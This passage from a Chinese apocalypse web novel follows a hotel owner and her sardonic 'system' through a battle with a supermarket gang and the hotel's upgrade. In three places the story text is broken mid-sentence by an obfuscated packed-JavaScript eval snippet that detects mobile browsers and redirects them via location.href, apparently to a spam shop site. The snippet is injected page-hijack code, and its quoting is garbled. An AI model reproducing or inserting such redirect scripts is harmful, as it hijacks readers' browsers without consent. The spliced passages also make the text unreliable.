“管家！”何莱在心中呐喊。 系统只为她挡开了一箭。许约棠及时出手的剑也打偏一支，剩下的那只正中何莱的右肩膀，拖着她往后钉去。 “我去你的！”被剧烈疼痛贯穿的何莱急红了眼，系统传送来握在手中的蝴蝶刀也被湿漉漉的血迹弄得在掌心打滑，几乎有些握得不稳。 她不再犹豫，用开了刃的一面捅向方涛，面前这个招招都在对酒店客人下死手的家伙不值得她怜悯。何莱握紧刀，在他的腹部连开几个口子，又被反应过来的方涛一脚踹到胸口，整个人被踹得从地板滑了出去。 “店长！” 许约棠突破重围也冲了过来，她担心何莱，只能留下许在杉与重伤的王守诚面对那些穷凶恶极的超市团伙——同伴不断倒下后反而激发了他们的血性，战斗力一时大涨。 酒店这边的异能者虽然数量上占据优势，但许在杉获得异能的时间太短，葛爷爷被围杀自顾不暇，吴亓被王荆压着打得逐渐占据下风，老人们被倩姐紧紧拦在楼上，三位姑娘已经背靠着背被逼向大厅中央。 危机四面骤起。 “何莱，你还好吗？” 许约棠试图架起何莱，奈何她浑身无力地不断往下滑落，两人急出一头的汗。方涛捂着身上的伤口独自喘着粗气，他的兄弟方洪接过弓箭，大喝着重新对准何莱的脑袋拉弓，被系统在身后的一甩扫帚砸了过去。 趁着他尚未缓过来的时候，何莱忍着浑身快要散架的疼痛拼命往前爬去。许约棠抽出平日里很少用的峨嵋刺，近身冲到那对双胞胎兄弟面前，脸上的表情绝望又坚毅。 许约棠想，生命就停在这里也不错。 她在此之前无数次地被这两个畜生殴打，泄愤取乐了太多次。无数次她都在想，如果自己能够有勇气站起来，哪怕用生命做代价去反抗和攻击他们，让这两个仗着末日发泄恶意的混蛋知道痛苦的滋味。如果她没有那么多顾虑，如果不需要担心许在杉的安危，如果她的心不被超市里压抑绝望的空气给污染…… 在末日到来之前，她本就拥有一颗武术冠军的心。 坚硬的拳头与尖锐的长刺同时砸进了对方的身体，许约棠一步也不肯退，即使被落在身上的拳脚打得双眼发黑，也依旧对着前方模糊的影子不断挥出武器，捅进敌人的血肉中，洒了浑身满头满脸的鲜血，她怒吼着宣泄自己的愤怒。 何莱同样看不清眼前的一切了。她的额头一直在向下淌血，视线都是血红色，耳边是她的客人们的哭声和作战的混乱，她甚至听到了倩姐下楼又被王荆一个火球砸中的痛呼。 这里是真正的末日。 应该有什么人出现的，应该有人神兵天降一般闯进这家酒店——或者小破旅馆，大吼着停手，把那些在末日里依旧残害同类的坏家伙们通通赶走，拯救他们这群绝望的幸存者，维护秩序，甚至，应该有人来拯救这个世界的。 或许那个人不是她。 何莱的意识开始涣散了，她努力地抓住地板瓷砖的缝隙，哑着嗓子艰难地开口：“系统......” 那个可以拯救所有人的家伙，不应该是现在这个绝望无措的自己。 何莱的脸几乎贴在地面上，声音越来越低。她已经听不清楚外边的声音了，只知道情况越来越糟。 “现在可不是说遗言的时候啊店长大人！”系统操纵的拖把扫帚也终于被王荆烧成了木炭，现在换成了前台的金属兑换机在空气中左右横冲直撞，砸晕了几个超市成员。 还站在地面上的人不多了，但战况明显在往超市那边倾倒。酒店的众人伤势惨重，都已经被逼进了绝境。 “……酒店！”何莱虚弱地再度开口。 “在说什么啊！”系统着急得几乎破了音，框框铛铛地继续用兑换机替何莱作战，弥补店长倒下的战力缺失。 “酒店......”何莱用尽全力地挤出命令：“酒店升级——” “升什么？你都没有人我升什么？”系统听起来也急眼了，和她呛了一句。 “那三个动物！” 何莱像是回光返照，勃然大怒地猛拍地板，差点就要在一气之下坐起来：“它们吃我的住我的，有了名字，而且下的蛋挤的奶还能上交换翡翠币！”她手指一挥，指向刚从卧室里爬行出来加入战场的小扎：“蜥蜴！去把那些人咬死！把晶核拖回来！” 蜥蜴的表情看上去大吃一惊。 “它们怎么不是我的客人？” 何莱手脚并用，艰难地原地爬行半天，重新撑着自己站起来。她摇摇晃晃地走到一个同样受伤不轻的超市成员面前，一脚将他踹翻。 王守诚护着葛爷爷来到吴亓身后，倩姐晕倒在附近，所有人看起来都疲倦极了，茫然地在混乱中攻击着彼此，楼上传来糖糖的哭声，何莱心想，头可真晕啊。 “系统，再不帮忙我们就要死了。”何莱的声音里几乎带上了哭腔，她失魂落魄站在一滩血迹之中：“我们明明已经凑够二十个了……” 系统始终沉默着，没有回答。 终于等到吴亓也支撑不住，栽倒在地以后，何莱的耳边响起了久违的通知铃声：“叮咚！恭喜达成20客人入住成就，已解锁完整后花园，已解锁阳台，已解锁店长权限。” “......”何莱摇晃着站立在原地，脸上的鲜血与眼泪混在一起，看上去十分可怖。她努力稳住自己不要晕倒，强撑着睁大眼睛，等待着系统的最后通知。 “可以驱逐特定客人了。”系统冷硬地宣布：“使用金手指吧，如你所愿。” 何莱抬起右手，打响血淋淋的响指，用已经完全沙哑的嗓子发声，几乎微不可闻地下了指令：“驱逐，所有超市成员！” 在那群不速之客被移出酒店的刹那，何莱与王守诚也一前一后倒地。幸亏升级后的大厅被铺了一层厚地毯，才让这两位没有因为脑震荡而产生战后追加损伤。 已经完全脱力的许在杉坐在地面喘气，浑身汗湿得像刚从海里捞出来，视线恍惚地放空着，根本无暇顾及别人。酒店里唯一能动弹的只剩下了老人和小孩，此刻都一窝蜂地忙碌起来。 超市那边死伤惨重，在他们被扔出酒店之后，系统像是考虑到大家的心情，玻璃门经过升级变成了双层，有遮挡功能的幕帘已经降了下来。任由着外边砸门砍踹的叫嚣声不断响起，大堂内部一片平静，明亮的夜间小灯缓缓亮起。 只不过此刻没有人还有闲心去打量酒店的变化，楼上的老人们全部跑了下来，徐冬青也打开牢牢关闭的房门牵着糖糖冲下来。 刚才她不肯打开房门放糖糖出去，还记得店长姐姐对她说过的话，到了关键时刻要保护好自己，也要保护别的孩子。 徐冬青一直听话。 “葛老头，醒醒！”蓉姨急着在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571886|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边跺脚：“哎哟，造孽啊！一大把年纪了还这么整！”葛爷爷在刚才的混战中被超市那边的双胞胎砸了过去，此刻倒在地上被摇晃几下，生死不明地持续昏迷着。 糖糖跪在毫无反应的父亲身旁一个劲直哭，许在杉拽着姐姐往沙发上放，吴亓在掐他妈妈的人中，系统对着同样昏迷的何莱轻声吐槽：“你这里还真是家庭作坊啊。” 可惜何莱什么也听不见了。 冬青不断给何莱扇着风，又从前台底下拖出医疗包，拆了止血纱布用力地摁在她的头上。 “哎哎哎……嘶！大家都……”被疼醒的店长大人睁开双眼，晃晃悠悠看一眼众人，确保所有人都还在，随后还未吐出几个字，又彻底晕了过去。 “有没有伤亡？”谢珂也挂了彩，幸好只是皮外伤，站在一旁靠着墙休息。两位跟在她旁边只负责时不时补上一刀的姑娘惊魂未定，被谢柯保护着没有拼命，脸上身上的血都不是自己的，但也感到一阵阵手脚发软。 “都还好，都还好……大家暂时都还活着。”许在杉手忙脚乱地探完王守诚的鼻息，如释重负。安慰已经在嚎啕大哭的糖糖：“没事，没事啊，别怕！” “先看老葛。”倩姐终于被吴亓掐醒，虚弱地抬手指了指：“他……异能……重要……” “知道。冬奶奶，麻烦你扶我妈上去休息。”吴亓对着旁边银发苍苍的奶奶开口，又咬牙支撑自己起来，一瘸一拐地来到葛爷爷身边：“还有呼吸吗？” “有。”双百百一边擦着眼泪一边点头：“心跳也有。” “......”忽视了她的废话，吴亓迅速地摸排检查一番，确认医疗系的异能者没有太严重的外伤，又摸了摸脉搏。最后他也一屁股坐倒在地上，疲倦地大口喘气。 何莱躺在茶几上，王守诚躺在一旁的地板上，与沙发上的许约棠呈现并排昏迷的态势。 徐冬青忙忙碌碌，替这个包扎完又去查看那一边，双百百连忙上前一起接手。他们只敢做简单止血，避开了何莱肩膀上那支箭和王守诚腰腹处冒血的弹孔。许约棠身上满是淤青，看得许在杉眼泪汪汪。 “姐，你没事吧姐？”许在杉抱着糖糖也哽咽得断断续续，一副马上要跟着哭出来的表情。过去在超市里的时候，他们姐弟就经常在被饿着肚子赶出去寻找物资的时候抱在一起流眼泪。 许约棠被吵醒后虚弱地抬了抬手，扯到伤口后倒吸一口冷气。她睁大双眼望着酒店大堂的天花板，升级后出现的小吊灯和崭新的基础装横倒映在她的眼底，让许约棠眨了眨眼，有些迷茫。许在杉哭得太投入了，甚至没注意到她醒来。 “……希望葛爷爷能快点醒来帮忙。”吴亓把头埋在膝盖里，深深地吸了一口气。众人就这样或躺或坐，或者靠着墙东倒西歪，狼狈地等待着唯一的治愈系异能者苏醒过来。 梁画一直望着昏睡不醒的何莱。这位程序员刚才没有受伤，也注意到了酒店内的变化和瞬间被移出去的超市成员们，皱起眉想了想，但最终什么都没说。 “今天来的……只是超市的一部分人吗？”徐冬青开口的时候小脸发白，望向许在杉的时候被吓得磕磕巴巴：“你们以前、到底有多少人？” 许在杉疲倦地揉一把她的脑袋，众人的脸色都变得难看。这下是彻底暴露在超市那群人面前了。 所有人都沉默着，没有人愿意去想酒店的明天，究竟要面临怎样的风暴。 “我觉得他们没办法再来了……”梁画忽然开口。 “店长的异能，刚刚是不是忽然爆发了？”双百百犹犹豫豫地伸手指向门口，带着大家逐渐从生死边缘恢复的理智一起，望向门外仍不断传来的大声叫骂与怒砸动静的超市成员。 大家又扭过头来，一起望向昏睡中的何莱。 “刚才——最后，到底发生了什么？”终于有人开口问。 “会不会是异能升级？”吴亓说。 26. 母鸡、绵羊和蜥蜴进行曲26 早晨，翡翠酒店，大堂。 一群被包裹成粽子的伤员正在艰难地吃饭。 冬奶奶翻出了一包尚未过期太久的未开封面条，搭配许在杉前几日爬上树掏的那窝鸟蛋，炖了吴亓用冰棱锥精准击中的那一对归家鹌鹑，煮了一大锅热气腾腾的低配版三鲜面条——鸟、鸟蛋和盐。 “我真的有必要包成这样么？我受伤的是肩膀啊。”何莱扬了扬自己的悬臂带，牵扯到伤处，痛苦地嗷了一声。 她的脑袋也被厚厚的纱布给缠了起来，徐冬青生怕她流了太多血而死，恨不得将她装扮成木乃伊回魂恐怖片的领衔主演。 “我觉得有些喘不过气。” 酒店里真正失血过多的王守诚面色苍白地喝着汤，昨天的子弹并没有穿过他的身体，后续被双胞胎姐弟压着用火焰烧得滚烫的匕首挖出。葛爷爷替他初步治疗了烫伤的创口，凝固尚未流出的鲜血，不让本就岌岌可危的血条再受重创。 “我是真的吃不下了。”许约棠对着鸡汤难以下筷，面色凝重。 自从她醒来以后已经被喂了一整份盒饭，三两花生。末日之中的营养难得，酒店里的众人只能尽可能地寻找任何会帮助伤员恢复身体的食物，再强逼着他们吃下。 谢珂用左手夹着筷子，右手包扎成锤子大小，她低头沉默地吸着面条。徐冬青的包扎技术同样没有放过她。 倩姐没有什么大碍，摆摆手拒绝了何莱要分一半给她的面条。葛爷爷坐在角落里，面色不是太好——自从他醒来之后，众人让他连吃一捧晶核的模样像极了外边下了不要钱的晶核雨，先被噎得不轻，再被一群含泪的年轻人齐刷刷看着他去治疗伤员，消化和心理的压力都很大好不好！ 何莱一瘸一拐地起身，在大厅里转一圈。徐冬青紧紧跟在她身后，小姑娘寸步不离，大概是昨天真的被吓狠了。那三只动物客人不见踪影，何莱尝试着呼唤系统，也只是一片死寂。 “……” 升级以后的酒店大堂变得明亮宽敞，铺了厚厚一层地毯，壁灯也从简陋劣质款变为了质朴的风格。通往二楼的楼梯下多了一张长桌吧台，可供客人们当作闲聊处或小型餐厅使用。 原本的狭窄厨房宽敞了许多倍，双开门冰箱也终于落地，何莱打开冰箱，发现里边空空如也——不出所料。系统没有那么慷慨。 厨房外的沙发与茶几明显有了品质升级，也从围绕中心区的一小圈变成了四块分散的区域，足以同时容纳下他们十七人，也能各自占据一块获得相对独立的空间。 何莱暂时没去客房和自己的房间，被厨房外通往后院的铁门吸引，推开门走了出去。 后院是一个半圆形，光滑的高墙在院子内投下阴影，沿着墙边往内筑了一圈棚子，大部分都是空的。最左侧母鸡菲菲和受伤的小羊肖恩哀怨地被关在里边做着彼此的邻居。蜥蜴见到有人来才探出脑袋，小短腿飞快地爬行到何莱面前，仰起脑袋吐出一颗晶核。 “咦……” 何莱捡起晶核，将蜥蜴放到自己的肩膀上，又在菜园里继续转了转。阳光最好的那部分区域被均匀地分成了几条田垄，已经长出来的芽苗菜正欣欣向荣地沐浴着阳光，一旁的土豆也长出芽苗，花生也都被处理好作为种子被埋了进去。 除此之外还有一些新种下的痕迹，何莱扭头看向跟过来的戴奶奶，戴奶奶指着高爷爷笑呵呵地说：“这家伙前些天和阿辉放羊的时候，挖了些野葱和韭菜回来，都种下了。” 戴奶奶慈爱地冲何莱笑一笑：“小莱呀，谢谢你帮着我们这些老人家。别的不敢说，但菜园，我们一定能打理起来。” “我相信。”何莱点点头：“但阿辉是谁？” “应该是春奶奶。店长，超市的人还堵在外边，又带了更多的人来。”王守诚下意识抱起双臂，扯到伤口痛得一激灵，只好撑着门框说下去：“他们进不来这里，是因为——你吗？” 他望着何莱的脸。 超市的那群人被瞬移出去尚且能归结进何莱的“异能”临时爆发——即使这样特殊的异能十足诡异，众人还是默契地略过不谈。 但经过酒店这么一升级……像是某种再也无法解释的逻辑被摆上台面，虽然没有人真的开口询问何莱，但心里也都有了某种诧异和猜测。 何莱没有回答，王守诚也不强求。 “这样下去不是办法。如果我们被围在这里，你的异能可以坚持到什么时候？”王守诚缓慢地分析下去：“他们如果放火或者……” “没有用。”系统的声音在何莱耳边冷冷地响起，语气很差，但内容令人安心：“至少现在，酒店的庇护是绝对的。” “不用担心。”何莱想要抱起手臂，最终只摸到自己的绷带，尴尬地挠了挠耳朵：“屏障会一直持续下去。希望基地当初能派我一个人出来负责驻点，也是因为这项研发。”她垂下眼，稍微心虚一下，照旧把一切都推给万能的科研部。 拜托，都丧尸和末日了，还有什么不可能？ “那我们也可以放火。”不知道什么时候出现的许约棠靠在门框的另一边，指着没什么精神的许在杉：“如果实在没有办法了……我们趁夜里回超市也放一把火。”她举起手比着脖子，潇洒地做出一个灭口的动作。 “都行的。”许在杉点头。 “要不要上去看看？客房设施改善很多，楼上也有阳台了。”谢珂面无表情地走过来，很平静地接受了一觉睡醒的诸多变化。反正世界变得很疯狂这件事，末日爆发第一天她就适应了。 “好啊。”何莱走上楼梯，发现就连扶手也变得精致许多，有了雕花和涂漆。台阶变成哑光瓷砖，在灯光下被照得很漂亮。 走廊第一间就是王守诚父子俩的，糖糖并不在里边，何莱随口一问，双百百的声音从楼上传来：“他在阳台这里！” 客房里的床铺和枕头明显柔软了不少，墙壁也贴上了淡雅的墙纸。 这版本酒店额外更新了烧水壶和拖鞋的补丁。 窗户也变得敞亮多了。何莱走到窗前，还能看见楼下超市的人在仰头打量着酒店。 他们回到走廊上，脚下踩着的地毯也变得柔软，何莱抬起头望望天花板：“是我的错觉吗？变得有点凉爽。” “这是好事啊。”许约棠替她掩盖。 “气温调节。”系统还是一副要死不活的语气，不肯给何莱好脸色，但说出的话依旧让她顺心：“你房间还有独立空调了呢。” “我房间终于能锁门了，对吧？”这才是何莱最关心的。 “……嗯。”系统焉焉的，还在为昨日被强制索取权限的作弊行径耿耿于怀。 他们从二楼走廊尽头的楼梯走到三楼的阳台，高高筑起的栅栏围住了楼顶四周。水泥浇筑的地板上放着几张横七竖八的太阳椅，还有一把快要被风吹走的太阳伞，都让何莱感受到了系统的心情委实不是很好。她再次尝试搭话，只得到了一声冷淡的哼哼。 “这个好，这个好。平日多晒晒太阳，对身体也好。”蓉姨不知道什么时候跟了上来，心疼地上下打量着何莱。葛老头的异能使用次数和幅度都有限，只能先捡着要紧的处理，每到缓过来能再使用异能了就随机拉一位伤患过来。大家把这称作不定时降临的治愈光环。 再加上吞进的那些晶核，葛爷爷的异能也因此而缓慢增幅着。 “头儿！他们出来了！” 楼下被揍成猪头的喽啰惊呼，同样被揍成猪头的军师立刻举起弓箭：“看我不射死他们！” 听见喊叫声的一群人迅速后退几步，随后眼睁睁地看着那一支箭被射上阳台，在即将越过栏杆的那一刹仿佛被空气墙给挡住，最后垂直栽了下去。 何莱冲楼下笑笑，甚至挥了挥手。 超市的人不仅气得够呛，还被这突然出现的“异能”给震得一哑。 “见鬼，这群异能者到底是突然从哪冒出来的？”吕田广吹胡子瞪眼，被何莱挑衅得直往后仰，随后他猛地一拍旁边小弟的脑袋：“蠢货！去打听啊！” 酒店里众人一前一后下了楼，何莱让大家各自都散去休息，又把蜥蜴放到前台，希望它能明白轮值接待工作的暗示，最好回到自己的房间。 “我还没想好怎么和你说这件事。”沉默许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571887|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的系统说：“我们被发现了。” “超市的人都已经杀了个来回了。”何莱说：“你滞后的情报系统也该学着与时俱进，就从不要重复播报开始，行吗？” “不，不是超市。”系统回答：“是我和你之间。” 于是何莱小小地惊讶一下。 “我们之间难道发生过什么见不得人的事吗？” “……”系统波动一阵，随后变成了冷淡的播报模式：“世界Bug已修复。主角正在重新投放中。请选择是否抹杀原有NPC。” “否！否！喂，等下，重点是——你那主角可千万别投放到超市的那伙人里去啊！”何莱慌乱摆手，原地转了一圈，意识到自己的干预毫无用处后，干脆站在原地等待下一步通知。 “设置成功。保留原有NPC……主角已成功重新进入培育投放流程。”系统陌生而冷硬的声音戛然而止，随后继续沉寂。 直到何莱站着腿酸，缓慢地摸索在旁边坐下。她刚才被吓得魂飞魄散，此刻才有空缓缓打量自己的房间。 “那……那升级以后的盒饭……是什么啊？”她缓过神以后首先关心了待遇问题。 “主菜是青椒炒肉。辅菜是苦瓜炒鸡蛋，搭配清蒸白菜。”系统在她面前降下一份盒饭：“升级以后，从今天起套餐里不再提供饮用水。店长，你得想办法找个水杯自力更生了。” 何莱听完点点头，她也没去问这个改变究竟是尝试违反规则的带来的惩罚，还是就像先前酒店说的那样，随着不断升级而逐渐失去系统的扶持——失去得也太快了。何莱捧着盒饭算起来。 反正厨房里有烧水壶，酒店里的自来水目前尚未受到影响。后院菜园也逐渐有了起色，勤恳工作的店长想到这里，才感到一阵安心。等这次超市的大麻烦过去，她将带着众人奋力建设，总能在系统的辅助功能全面下线之前赶上自给自足的小康生活。 “等一下，刚才说的投放主角呢？”徜徉在美好未来幻想的店长猛地反应过来：“投放到哪儿去了？” 系统一卡一卡，干巴巴地回答：“主系统封锁了我这边的权限，店长。我只能查询到主角已经投放了的确切结果，但姓谁名谁……暂时未知。方位……也不清楚。” “这投放了和不投放有什么区别？”何莱问。 “不一样，这意味着你从此不必再孤军奋战，很快就会有人来接过拯救世界拯救可怜NPC的重任，而你需要做的只是提供帮助就好啦！”系统应景地为她播放一段欢快的bgm：“我还以为你会很开心呢，店长大人。操心事就让那些拯救世界的人来操心好了！” “所以你的意思，那位主角有可能会来，什么时候来，来的时候什么样，你都不清楚。”何来冷静地戳穿了它：“这听起来很像诓骗我继续为这家黑店卖命的谎言啊。” “呃。”系统不假思索：“主角快来了。” “有多快，什么时候？” “......” “不说这个也行。这份盒饭能免费吗？”何莱盯着盒饭。 “……非要送吗？”系统说：“我刚刚都已经扣除你那非要被称作翡翠币的晶核储量了。” “好吧。”何莱不再讨价还价，她现在没胃口，于是握着盒饭，干脆利落地出门走向外边的冰箱，准备先存起来。 经过大门的时候她若有所思地停下脚步：“管家，可以给外边搞个牌匾吗？” “要什么？”系统今日好说话得有点让何莱害怕，她想了想说：“第一行写翡翠酒店，第二行加个破折号，就写：希望基地经营点。” 外边。 守在门外被晒得不行的喽啰小弟忽然又叫起来，把躲在树荫底下纳凉眯着的军师给叫了起来：“头儿！他们好像把什么扔出来了？” “妈的，一天到晚叫叫叫，吵什么！”吕田广用小指掏了掏耳朵，眯起眼往那边看。 酒店外突然出现的牌匾在阳光底下金光闪闪，发着刺眼的光芒。 翡翠酒店 加个破折号：希望基地经营点 “这他妈的什么东西？”军师睁大眼睛。 27. 母鸡、绵羊和蜥蜴进行曲27 “店长。你最近看起来瘦了好多。” 系统的感慨充满感情，几乎不像个非生命体。 何莱蜷缩成一团，坐在浴缸里，把自己的脸埋在膝盖，深深地叹一口气。懒得回答它。 “店长，那你应该知道自己现在的受伤状况，坚持泡澡就相当于上刑吧？” 系统相当谨慎地提醒她。 葛爷爷的异能只让她止住了血，伤口勉强愈合。但那些需要交给时间缓慢修补的部分，何莱没让他浪费异能继续治疗，优先恢复酒店里的主战力。 “我知道。”何莱闭着眼睛，四肢的酸痛是因为脱力，而伤口出的刺痛有些发麻，和沐浴泡沫一起浮上水面：“我只是在自己感受奢华待遇的味道。” 酒店的升级连带着将何莱的小房间也换了模样，不仅浴室变得更加宽敞，淋浴间变成了日式小户型特有的坐浴池，也加了扇明亮的透气窗。 至于卧室，床依旧狭窄，旁边多了一张用来办公的书桌与更多的储存空间，还有一个单独的懒人沙发。 “看起来这逐渐像个温馨的家了。”何莱埋着脑袋，声音闷闷的。 “那为什么你听起来如此遗憾？” 系统问。 “因为这感觉不太真实。”何莱皱起眉：“我感觉不太对。” “又怎么了？”系统拖长声音。 “管家，我有事问你。” “你说。” “你从前也是店长，对吧。” 何莱抬起脸，语气平静得根本不像突然发难，笃定地注视着面前的空气，眼神里是确定的怀疑。 “而且你还是成功达到了所谓通关，成功离去的店长。” 系统的声音截然而止。 何莱静静地等了半晌，才微笑着扬起嘴角：“管家，你的沉默就是最好的回答。难道这场闹剧的最终结局就是成为像你一样的幽灵吗？” “我是怎么暴露的？” 系统的声音恢复如初。 “首先，是因为你太过于灵活，并且有一套可以被说服的逻辑。如果这能被归功在科技太过发达的人工智能行业进展上……”何莱竖起一根手指：“你对我一直抱有太超过的善意，并且多次展露出权职以外的宽容。倘若你是纯粹置身事外的系统，要么一开始就向我提供最好的环境来培育适合主角团队的工具店长和酒店，要么就应该始终遵循公平的原则，不容求情来破怪规则。”她耸耸肩膀：“换句话说，我现在应该已经被抹杀，或者在此前的事件里倒下了。” “最重要的。”何莱一口气不歇地讲下去：“你拥有一部分权限，却又被更大的规则所禁锢，在畏惧着什么，只能被困在酒店里的窝囊模样好眼熟。” “你知道这把你自己也骂进去了，对吧？”系统还有心情和她开玩笑：“亲爱的店长，你是从什么时候开始怀疑的？” “从你说我是第一位客人开始。旧习惯很难改吧？”何莱微笑：“我怎么会是客人呢？”她半个身子泡在浴缸里，脸色苍白，但眼神却无比坚定：“我分明是这家酒店的运营者。” “......那还真是对不起，善良只是我最不起眼的优点。”系统说：“关于违反规则拯救你的性命这件事，小的已经做了深刻反思。不会有下次了。” “哎，其实我是想道谢来着。”何莱发愣。 一人一统沉默一阵，何莱终于开口：“我一直很感谢你，愿意陪着我一起......”乱七八糟地撑到今天。现在的酒店稍微看起来不那么像草台班子了，何莱作为店长待在其中也能稍微感到一丝安心，客人们看起来很靠谱。但只有系统的声音仍在与她对话的时候，何莱才感到真正的放松和安全。 “我并不是上一任通关的店主本人。”系统说：“思维导入，很简单的技术。我也有我的任务，这个与你无关，我们都有各自要做的事情。” “所以才会出现我们之间的讨论和探索，不断推翻过去的结论，结合当下的情况改变计划。”何莱说：“因为你是个活人。” “我不是活人！你有听我说话吗？”系统没好气地大叫。 “有听，有听。”何莱换上安抚的语气：“亲爱的管家，我还有一件事想要咨询你......” “吴悠？”虽然系统没有形象，但何莱总觉得看见了一个抬起眼皮的冷淡表情。 “嗯！”何莱用力点头。 “想知道她在永恒基地的后续，也想知道她过去的真相？”系统凉凉地开口，一副事不关己的模样。 “嗯嗯！”何莱更用力点头。 “要不要我再把怎么拿下永恒基地也告诉你？”系统骤然亲切，让何莱一震。她意识到系统在套她的话，或许正在用某种她还不知情的规则试图判定她此刻的行为。 “你果然是在报复我揭露了你的秘密吧。”何莱说完，把脸再度埋进水面。 “店长，我们从很久以前就已经在试探规则的边缘了。刚才的抹杀指令并不是在询问你的意见。”系统说：“别再挑战底线，我愿意适当帮助你是因为——这也是我的任务，而不是让你可以钻的漏洞。” “嗯。”何莱沉思：“你完成任务以后会去哪儿？是之前说的另一个世界吗，还是获得所谓的自由？我如果达成了所谓的通关就会成为下一个你吗？如果我......” “亲爱的店长，我刚才说了什么？”系统几乎贴着她的脸在咬牙切齿了。 “好啦，我知道。”何莱嘀咕着，小声嘟囔几句，不情不愿地从浴缸里站起身来，裹着浴巾背起手，在房间里四处转悠打量：“我总觉得这个布置非常熟悉，但具体去想的时候，又说不上来是什么感觉。” “何莱。”系统罕见地连名带姓但是只叫她的名字。 “怎么了？”何莱回过头。 “世界很大。这里不会是你的终点。”系统说。 “我不明白你的意思。”何莱眨眨眼睛。 “等以后你就知道了。” “这个世界——真的有主角吗？我怎么知道你们不是对每一任店长都这么说？”何莱歪着脑袋。 “真的有。”系统的语气严肃起来：“你必须相信这一点，这个世界一定会迎来主角。” “好吧。”何莱耸耸肩，在床边坐下来：“随便你怎么说，你的店长同志要再睡一会。” 接下来的一周无事发生，在酒店升级后的驱逐令生效庇护下，超市的人无法踏足，也因此更加引起了他们的注意，开始轮班执守监视，怀疑与占有欲望与日俱增。 那位叫张荆的异能者时不时过来，但除了叫骂以外并没有太实质性的进展，酒店的存在分散了超市团体大部分的注意力，一门心思想着夺取，倒是让附近的小型求生团体得以喘息了一阵。 这期间里，酒店陆陆续续迎来了两批新的客人——能在超市凶神恶煞的注视下走进大门，不得不说具备强悍的心理抗压能力和运气。 第一次是一对情侣，自称是躲藏在城市中不断转移求生的小队，在附近因为遭遇丧尸群袭击而四分五散，最终只剩下他们俩活下来。男子面色苍白，女子浑身颤抖，两人浑身都是血液与脏污。何莱和吴亓按照倩姐的指导，分别为他们检查完是否有伤口，才办理登记。 “你在永恒基地的时候被查了吗？我一被他们带过去测试，连衣服都被扒了。”吴亓抱着手臂靠在墙边，固执地模仿平时的王守诚，摆出一个潇洒的姿势。 “有，那里的前台阿姨也把我们给摸了一遍。”何莱把那对千恩万谢的情侣带进房间又回来，正在打扫卫生——可喜可贺，扫帚和拖把有了新去处，不必再长眠于她的床底：前台旁有了个小小的清洁扫除间。 第二批前来造访的客人们一前一后分为两队，互不认识，只是在经过这条街道时被招牌吸引，停住了脚步。 打头的是一个矮胖的中年男和簇拥着他的几个年轻人。中年男脑袋微微秃顶，讲话瓮声瓮气，拖长了声音敲着桌子问何莱：“你们这里的负责人是谁？叫出来讲话。” 后边跟进来的一对中年夫妇被许约棠邀请至大厅沙发先坐着等待，蓉姨自来熟地坐在一旁拉着他们唠嗑，几轮对话就将他们的底摸了一遍。王守诚偷偷给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571888|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们竖了个大拇指。 “是我。”何莱露出一个微笑。 “你？”中年男人上下打量着她，露出不信任的表情：“你们运营点卖什么？” “出售盒饭，二晶核一份。”何莱继续微笑着，从前台递出一包泡沫纸盒装的餐食，打开给那人略看一眼：“自家种养，今日菜色是青椒炒肉，苦瓜炒鸡蛋和清蒸白菜。” “你不会打算遇到每个客人都这么说吧？”系统挪揄：“然后变着花样更换报菜名的顺序？” “你快闭嘴吧。”何莱心说。 “你们还有种菜？我看看去。”中年男人看起来并不急着购买，背手在酒店里四处打转，眼见着就要往菜园里走。 吧台边的许在杉冲何莱比了个口型：“超市？”他担心是超市派过来的间谍——即使在末日之中依旧发光发热，多么旱涝保收的职业。 何莱不动声色地摇了摇头，她下的指令是驱逐所有超市成员，因此这中年男人能大摇大摆地走进来，显然不是其中之一。 “系统，如果超市的人与非成员达成雇佣关系，或者故意表演踢出成员的戏码，他们能用这个方法混进来吗？”何莱跟着中年男人走进菜园，突然想到。 “我又不是傻子。”系统懒洋洋地说：“超市里的每一个人我都知道，他们进不来。但如果超市背后去找别的雇佣者……等你发现了再踢出去就行了，又没有移除黑名单的人数限制。” “如果我来不及发现呢？” “Oops.”系统说：“那就没办法了。酒店也不是绝对安全的天堂啊，这里只是你上班的地方，不要太当成自己的家了。” “你们这地方也不大啊，哪来的这么多东西？” 那中年男人逛完升级后面积扩大的后院，又探着脑袋东张西望，抬腿就要往楼上走去：“上边是不是还有？” “是的。”许约棠挡在楼梯口，面无表情地回答他：“楼上属于客人们的私人空间，如果只是购买套餐的话，活动范围是一楼内。” 